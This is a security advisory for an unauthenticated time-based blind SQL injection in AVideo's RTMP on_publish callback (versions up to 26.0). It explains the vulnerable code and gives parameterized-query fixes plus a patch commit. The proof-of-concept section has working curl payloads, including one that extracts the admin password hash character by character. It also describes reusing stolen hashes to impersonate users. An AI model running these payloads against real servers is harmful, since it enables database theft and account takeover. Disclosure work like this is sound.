Summary

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Details

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload: - Avoids & and = (stripped by line 117) - Avoids _ and - in positions where cleanUpKey() would split - Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

Extract all database contents via time-based blind SQL injection, including:
User password hashes (bcrypt)
Email addresses and personal information
API keys, session tokens, and live stream passwords
Site configuration and secrets stored in database tables
Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $_GET['p'] parameter since on_publish.php:153 compares $_GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.
Enumerate database structure — the injection can be used to query information_schema tables, mapping the entire database for further exploitation.

The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.

Recommended Fix

Use parameterized queries in both affected functions:

Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:

$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);

Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:

if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE ? ";
    $formats .= "s";
    $values[] = $key . '%';
}

Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:

if(!$strict){
    $parts = Live::getLiveParametersFromKey($key);
    $key = $parts['cleanKey'];
    $sql .= " `key` LIKE ? ";
    $formats = "s";
    $values = [$key . '%'];
}else{
    $sql .= " `key` = ? ";
    $formats = "s";
    $values = [$key];
}

All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.

Title

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.
